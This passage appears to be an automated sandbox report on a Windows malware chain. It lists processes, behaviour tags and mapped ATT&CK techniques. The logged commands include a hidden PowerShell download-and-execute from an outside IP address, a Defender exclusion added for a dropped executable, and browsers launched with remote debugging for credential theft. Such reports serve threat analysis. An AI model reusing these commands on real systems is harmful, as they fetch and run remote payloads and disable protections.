        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2460 -parentBuildID 20240401114208 -prefsHandle 2436 -prefMapHandle 2432 -prefsLen 28276 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {37ded5e7-249f-4225-a06d-b43d3c6e32a6} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" socket
        8⤵
        
        PID:2200
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2748 -childID 1 -isForBrowser -prefsHandle 3336 -prefMapHandle 3332 -prefsLen 22684 -prefMapSize 244628 -jsInitHandle 972 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b799800d-a53d-4e03-8e01-3d4ccbe4ad86} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" tab
        8⤵
        
        PID:1784
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3928 -childID 2 -isForBrowser -prefsHandle 3940 -prefMapHandle 3936 -prefsLen 32766 -prefMapSize 244628 -jsInitHandle 972 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a48ff07e-8e66-48c4-848b-7362395d41a9} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" tab
        8⤵
        
        PID:2496
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4792 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4860 -prefMapHandle 4856 -prefsLen 32766 -prefMapSize 244628 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {902c3cf2-b2a6-4cae-93a4-edc9461ec68f} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" utility
        8⤵
        Checks processor information in registry
        
        PID:5652
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5108 -childID 3 -isForBrowser -prefsHandle 5100 -prefMapHandle 5096 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 972 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {556975f8-63b0-463c-a171-f422ffef4a00} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" tab
        8⤵
        
        PID:5912
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5344 -childID 4 -isForBrowser -prefsHandle 5348 -prefMapHandle 5352 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 972 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {57fab3bd-02d4-4f3f-b10f-aa1227969539} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" tab
        8⤵
        
        PID:5948
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5472 -childID 5 -isForBrowser -prefsHandle 5480 -prefMapHandle 5484 -prefsLen 27083 -prefMapSize 244628 -jsInitHandle 972 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c3e37934-9c7f-44ee-8dd6-66fdc58491d7} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" tab
        8⤵
        
        PID:6072
    - - C:\Users\Admin\AppData\Local\Temp\10109160101\dd3907672e.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109160101\dd3907672e.exe"
        5⤵
        Modifies Windows Defender DisableAntiSpyware settings
        Modifies Windows Defender Real-time Protection settings
        Modifies Windows Defender TamperProtection settings
        Modifies Windows Defender notification settings
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Windows security modification
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3960
    - - C:\Users\Admin\AppData\Local\Temp\10109170101\nhDLtPT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109170101\nhDLtPT.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5204
    - - C:\Users\Admin\AppData\Local\Temp\10109180101\Ps7WqSx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109180101\Ps7WqSx.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:6036
    - - C:\Users\Admin\AppData\Local\Temp\10109190101\FvbuInU.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109190101\FvbuInU.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:5296
    - - C:\Users\Admin\AppData\Local\Temp\10109200101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109200101\mAtJWNv.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:5796
      - C:\Users\Admin\AppData\Local\Temp\10109200101\mAtJWNv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109200101\mAtJWNv.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        
        PID:6024
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:5716
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbc4e2cc40,0x7ffbc4e2cc4c,0x7ffbc4e2cc58
        8⤵
        
        PID:4720
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2288,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2280 /prefetch:2
        8⤵
        
        PID:5692
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1764,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2512 /prefetch:3
        8⤵
        
        PID:5616
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1964,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2556 /prefetch:8
        8⤵
        
        PID:3716
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3180,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3200 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:5444
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3208,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3240 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:4000
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4416,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4484 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:2600
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4756,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4760 /prefetch:8
        8⤵
        
        PID:5548
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4820,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4828 /prefetch:8
        8⤵
        
        PID:3832
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5012,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4984 /prefetch:8
        8⤵
        
        PID:6588
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=5256,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5196 /prefetch:8
        8⤵
        
        PID:6940
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5016,i,2433943998444606021,6033092103814035203,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5028 /prefetch:8
        8⤵
        
        PID:4688
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        7⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:2476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbcc0346f8,0x7ffbcc034708,0x7ffbcc034718
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:6364
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,3000808488345216500,17110035482850691465,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1980 /prefetch:2
        8⤵
        
        PID:440
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,3000808488345216500,17110035482850691465,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2508 /prefetch:3
        8⤵
        
        PID:6060
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,3000808488345216500,17110035482850691465,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2760 /prefetch:8
        8⤵
        
        PID:3968
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2044,3000808488345216500,17110035482850691465,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:6732
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2044,3000808488345216500,17110035482850691465,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3368 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:1768
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 792
        6⤵
        Program crash
        
        PID:2460
    - - C:\Users\Admin\AppData\Local\Temp\10109210101\ce4pMzk.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109210101\ce4pMzk.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        
        PID:2484
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Local\Caches\EX0eXUWS\Anubis.exe""
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2476
    - - C:\Users\Admin\AppData\Local\Temp\10109220101\MCxU5Fj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109220101\MCxU5Fj.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:1212
      - C:\Users\Admin\AppData\Local\Temp\10109220101\MCxU5Fj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109220101\MCxU5Fj.exe"
        6⤵
        Executes dropped EXE
        
        PID:220
      - C:\Users\Admin\AppData\Local\Temp\10109220101\MCxU5Fj.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109220101\MCxU5Fj.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3340
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1212 -s 808
        6⤵
        Program crash
        
        PID:1664
    - - C:\Users\Admin\AppData\Local\Temp\10109230101\v6Oqdnc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109230101\v6Oqdnc.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4584
    - - C:\Users\Admin\AppData\Local\Temp\10109240101\PcAIvJ0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109240101\PcAIvJ0.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3960
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\2368.tmp\2369.tmp\236A.bat C:\Users\Admin\AppData\Local\Temp\10109240101\PcAIvJ0.exe"
        6⤵
        
        PID:4856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {Invoke-WebRequest -Uri 'http://45.144.212.77:16000/setup' -OutFile 'C:\Users\Admin\AppData\Local\Temp\installer.ps1'; Start-Process 'powershell.exe' -ArgumentList '-ExecutionPolicy Bypass -NoProfile -File \"C:\Users\Admin\AppData\Local\Temp\installer.ps1\"' -WindowStyle Hidden}"
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:5828
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\installer.ps1"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Suspicious use of AdjustPrivilegeToken
        
        PID:6544
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yx3jx0rn\yx3jx0rn.cmdline"
        9⤵
        
        PID:6768
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES60BF.tmp" "c:\Users\Admin\AppData\Local\Temp\yx3jx0rn\CSCEDF5BF9B205D4E9AA655161C65EFDFFA.TMP"
        10⤵
        
        PID:6796
    - - C:\Users\Admin\AppData\Local\Temp\10109250101\zY9sqWs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109250101\zY9sqWs.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4288
    - - C:\Users\Admin\AppData\Local\Temp\10109260101\f9510b80e8.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109260101\f9510b80e8.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:4760

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3036

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
1⤵
- Executes dropped EXE
PID:3716

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3988 -ip 3988
1⤵
PID:1852

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
1⤵
- Executes dropped EXE
PID:936

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:1496

C:\ProgramData\bcngpqs\ovql.exe
C:\ProgramData\bcngpqs\ovql.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5796 -ip 5796
1⤵
PID:2160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 1212 -ip 1212
1⤵
PID:3816

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4612

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6348

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
1⤵
- Executes dropped EXE
PID:6356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:6984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Authentication Process

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion